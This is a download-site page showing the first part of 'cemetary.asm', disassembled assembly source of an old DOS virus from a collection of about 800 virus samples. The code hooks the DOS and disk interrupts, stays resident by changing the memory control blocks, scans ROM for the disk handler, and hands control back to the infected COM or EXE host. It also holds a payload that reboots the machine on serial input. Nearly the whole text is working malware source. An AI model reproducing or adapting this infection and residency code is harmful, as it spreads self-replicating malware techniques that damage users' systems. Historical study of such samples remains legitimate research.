⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cemetary.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
		mov	ds:data_1e,ax			; (0000:004C=831h)
		mov	ds:data_2e,es			; (0000:004E=70h)
		sti					; Enable interrupts
		pop	es
		pop	ds
		pop	ax
		ret
sub_6		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_7		proc	near
		push	ax
		push	ds
		push	es
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		cli					; Disable interrupts
		les	ax,dword ptr cs:data_32		; (701E:0135=0) Load 32 bit ptr
		mov	ds:data_7e,ax			; (0000:0090=18Eh)
		mov	ds:data_8e,es			; (0000:0092=1498h)
		les	ax,dword ptr cs:data_35		; (701E:013D=0) Load 32 bit ptr
		mov	ds:data_1e,ax			; (0000:004C=831h)
		mov	ds:data_2e,es			; (0000:004E=70h)
		sti					; Enable interrupts
		pop	es
		pop	ds
		pop	ax
		ret
sub_7		endp
  
		db	0B0h, 3, 0CFh, 50h, 53h, 51h
		db	2Eh, 0A3h, 0FEh, 3, 2Eh, 0A1h
		db	0F7h, 3, 0A3h, 50h, 4, 2Eh
		db	0A1h, 0F5h, 3, 8Ah, 0DCh, 0B4h
		db	9, 0B9h, 1, 0, 0CDh, 10h
		db	0E8h, 34h, 0, 0E8h, 0B7h, 0
		db	2Eh, 0A1h, 0F7h, 3, 0A3h, 50h
		db	4, 0B3h, 7, 0B8h, 7, 9
		db	0B9h, 1, 0, 0CDh, 10h, 2Eh
		db	0A1h, 0FEh, 3, 0A3h, 50h, 4
		db	7, 1Fh
		db	']_^ZY[X.'
		db	0FFh, 2Eh, 0FAh, 3
data_37		dw	0
data_38		db	10h
data_39		db	10h
data_40		db	0
data_41		dw	0
data_42		dw	0
		db	0, 0, 2Eh, 0A1h, 0F7h, 3
		db	8Bh, 1Eh, 4Ah, 4, 4Bh, 2Eh
		db	0F6h, 6, 0F9h, 3, 1, 74h
		db	0Ch, 3Ah, 0C3h, 72h, 12h, 2Eh
		db	80h, 36h, 0F9h, 3, 1, 0EBh
		db	0Ah
loc_23:
		cmp	al,0
		jg	loc_24				; Jump if >
		xor	byte ptr cs:data_40,1		; (701E:03F9=0)
loc_24:
		test	byte ptr cs:data_40,2		; (701E:03F9=0)
		jz	loc_25				; Jump if zero
		cmp	ah,18h
		jb	loc_26				; Jump if below
		xor	byte ptr cs:data_40,2		; (701E:03F9=0)
		jmp	short loc_26
loc_25:
		cmp	ah,0
		jg	loc_26				; Jump if >
		xor	byte ptr cs:data_40,2		; (701E:03F9=0)
loc_26:
		cmp	byte ptr cs:data_37,20h		; (701E:03F5=0) ' '
		je	loc_27				; Jump if equal
		db	2Eh
data_44		dw	3E80h
		db	0F8h, 3, 0, 74h, 6, 2Eh
		db	80h, 36h, 0F9h, 3, 2
loc_27:
		test	byte ptr cs:data_40,1		; (701E:03F9=0)
		jz	loc_28				; Jump if zero
		inc	cs:data_38			; (701E:03F7=10h)
		jmp	short loc_29
loc_28:
		dec	cs:data_38			; (701E:03F7=10h)
loc_29:
		test	byte ptr cs:data_40,2		; (701E:03F9=0)
		jz	loc_30				; Jump if zero
		inc	cs:data_39			; (701E:03F8=10h)
		jmp	short loc_ret_31
loc_30:
		dec	cs:data_39			; (701E:03F8=10h)
  
loc_ret_31:
		ret
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_8		proc	near
		mov	ax,word ptr cs:data_38		; (701E:03F7=1010h)
		mov	ds:data_11e,ax			; (0000:0450=184Fh)
		mov	bh,data_55			; (0000:0462=0D400h)
		mov	ah,8
		int	10h				; Video display   ah=functn 08h
							;  get char al & attrib ah @curs
		mov	cs:data_37,ax			; (701E:03F5=0)
		ret
sub_8		endp
  
		db	50h, 53h, 51h, 52h, 56h, 57h
		db	55h, 1Eh, 6, 33h, 0C0h, 50h
		db	1Fh, 81h, 3Eh, 70h, 0, 0AEh
		db	3, 74h, 35h, 0A1h, 6Ch, 4
		db	8Bh, 16h, 6Eh, 4, 0B9h, 0FFh
		db	0FFh, 0F7h, 0F1h, 3Dh, 10h, 0
		db	75h, 24h, 0FAh, 8Bh, 2Eh, 50h
		db	4, 0E8h, 0BEh, 0FFh, 89h, 2Eh
		db	50h, 4, 0C4h, 6, 70h, 0
		db	2Eh, 0A3h, 0FAh, 3, 2Eh, 8Ch
		db	6, 0FCh, 3, 0C7h, 6, 70h
		db	0, 0AEh, 3, 8Ch, 0Eh, 72h
		db	0, 0FBh
loc_32:
		mov	ah,2
		int	14h				; RS-232   dx=com1, ah=func 02h
							;  get char al, ah=return status
		cmp	al,31h				; '1'
		je	loc_33				; Jump if equal
		jnz	loc_34				; Jump if not zero
loc_33:
		int	19h				; Bootstrap loader
loc_34:
		pop	es
		pop	ds
		pop	bp
		pop	di
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		ret
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_9		proc	near
		mov	dx,10h
		mul	dx				; dx:ax = reg * ax
		ret
sub_9		endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_10		proc	near
		xor	ax,ax				; Zero register
		xor	bx,bx				; Zero register
		xor	cx,cx				; Zero register
		xor	dx,dx				; Zero register
		xor	si,si				; Zero register
		xor	di,di				; Zero register
		xor	bp,bp				; Zero register
		ret
sub_10		endp
  
		db	1Eh, 0E8h, 0, 0
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_11		proc	near
		mov	ax,4B4Dh
		int	21h				; DOS Services  ah=function 4Bh
							;  run progm @ds:dx, parm @es:bx
		jc	loc_35				; Jump if carry Set
		jmp	loc_45
loc_35:
		pop	si
		push	si
		mov	di,si
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		les	ax,dword ptr ds:data_1e		; (0000:004C=831h) Load 32 bit ptr
		mov	cs:data_53e[si],ax		; (701E:FC26=0)
		mov	cs:data_54e[si],es		; (701E:FC28=0)
		les	bx,dword ptr ds:data_5e		; (0000:0084=6E3h) Load 32 bit ptr
		mov	cs:data_51e[di],bx		; (701E:FC1E=0)
		mov	cs:data_52e[di],es		; (701E:FC20=0)
		mov	ax,ds:data_9e			; (0000:0102=0CC00h)
		cmp	ax,0F000h
		jne	loc_43				; Jump if not equal
		mov	dl,80h
		mov	ax,ds:data_10e			; (0000:0106=326h)
		cmp	ax,0F000h
		je	loc_36				; Jump if equal
		cmp	ah,0C8h
		jb	loc_43				; Jump if below
		cmp	ah,0F4h
		jae	loc_43				; Jump if above or =
		test	al,7Fh
		jnz	loc_43				; Jump if not zero
		mov	ds,ax
		cmp	word ptr ds:data_15e,0AA55h	; (0326:0000=6A7h)
		jne	loc_43				; Jump if not equal
		mov	dl,ds:data_16e			; (0326:0002=70h)
loc_36:
		mov	ds,ax
		xor	dh,dh				; Zero register
		mov	cl,9
		shl	dx,cl				; Shift w/zeros fill
		mov	cx,dx
		xor	si,si				; Zero register
  
locloop_37:
		lodsw					; String [si] to ax
		cmp	ax,0FA80h
		jne	loc_38				; Jump if not equal
		lodsw					; String [si] to ax
		cmp	ax,7380h
		je	loc_39				; Jump if equal
		jnz	loc_40				; Jump if not zero
loc_38:
		cmp	ax,0C2F6h
		jne	loc_41				; Jump if not equal
		lodsw					; String [si] to ax
		cmp	ax,7580h
		jne	loc_40				; Jump if not equal
loc_39:
		inc	si
		lodsw					; String [si] to ax
		cmp	ax,40CDh
		je	loc_42				; Jump if equal
		sub	si,3
loc_40:
		dec	si
		dec	si
loc_41:
		dec	si
		loop	locloop_37			; Loop if cx > 0
  
		jmp	short loc_43
loc_42:
		sub	si,7
		mov	cs:data_53e[di],si		; (701E:FC26=0)
		mov	cs:data_54e[di],ds		; (701E:FC28=0)
loc_43:
		mov	ah,62h				; 'b'
		int	21h				; DOS Services  ah=function 62h
							;  get progrm seg prefix addr bx
		mov	es,bx
		mov	ah,49h				; 'I'
		int	21h				; DOS Services  ah=function 49h
							;  release memory block, es=seg
		mov	bx,0FFFFh
		mov	ah,48h				; 'H'
		int	21h				; DOS Services  ah=function 48h
							;  allocate memory, bx=bytes/16
		sub	bx,5Ah
		nop
		jc	loc_45				; Jump if carry Set
		mov	cx,es
		stc					; Set carry flag
		adc	cx,bx
		mov	ah,4Ah				; 'J'
		int	21h				; DOS Services  ah=function 4Ah
							;  change mem allocation, bx=siz
		mov	bx,59h
		stc					; Set carry flag
		sbb	es:data_19e,bx			; (06E3:0002=2342h)
		push	es
		mov	es,cx
		mov	ah,4Ah				; 'J'
		int	21h				; DOS Services  ah=function 4Ah
							;  change mem allocation, bx=siz
		mov	ax,es
		dec	ax
		mov	ds,ax
		mov	word ptr ds:data_18e,8		; (0688:0001=0FF17h)
		call	sub_9
		mov	bx,ax
		mov	cx,dx
		pop	ds
		mov	ax,ds
		call	sub_9
		add	ax,ds:data_20e			; (06E3:0006=2344h)
		adc	dx,0
		sub	ax,bx
		sbb	dx,cx
		jc	loc_44				; Jump if carry Set
		sub	ds:data_20e,ax			; (06E3:0006=2344h)
loc_44:
		mov	si,di
		xor	di,di				; Zero register
		push	cs
		pop	ds
		sub	si,413h
		mov	cx,589h
		inc	cx
		rep	movsb				; Rep while cx>0 Mov [si] to es:[di]
		mov	ah,62h				; 'b'
		int	21h				; DOS Services  ah=function 62h
							;  get progrm seg prefix addr bx
		dec	bx
		mov	ds,bx
		mov	byte ptr ds:data_17e,5Ah	; (0687:0000=81h) 'Z'
		mov	dx,142h
		xor	ax,ax				; Zero register
		push	ax
		pop	ds
		mov	ax,es
		sub	ax,10h
		mov	es,ax
		cli					; Disable interrupts
		mov	ds:data_5e,dx			; (0000:0084=6E3h)
		mov	ds:data_6e,es			; (0000:0086=161Ah)
		sti					; Enable interrupts
		dec	byte ptr ds:data_14e		; (0000:047B=0)
loc_45:
		pop	si
		cmp	word ptr cs:data_46e[si],5A4Dh	; (701E:FBF0=0)
		jne	loc_46				; Jump if not equal
		pop	ds
		mov	ax,cs:data_50e[si]		; (701E:FC14=0)
		mov	bx,cs:data_49e[si]		; (701E:FC12=0)
		push	cs
		pop	cx
		sub	cx,ax
		add	cx,bx
		push	cx
		push	word ptr cs:data_48e[si]	; (701E:FC10=0)
		push	ds
		pop	es
		call	sub_10
		ret					; Return far
loc_46:
		pop	ax
		mov	ax,cs:data_46e[si]		; (701E:FBF0=0)
		mov	cs:data_21,ax			; (701E:0100=0CE9h)
		mov	ax,cs:data_47e[si]		; (701E:FBF2=0)
		mov	cs:data_22,ax			; (701E:0102=0C304h)
		mov	ax,100h
		push	ax
		push	cs
		pop	ds
		push	ds
		pop	es
		call	sub_10
		ret
sub_11		endp
  
  
code_seg_a	ends
  
  
  
		end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -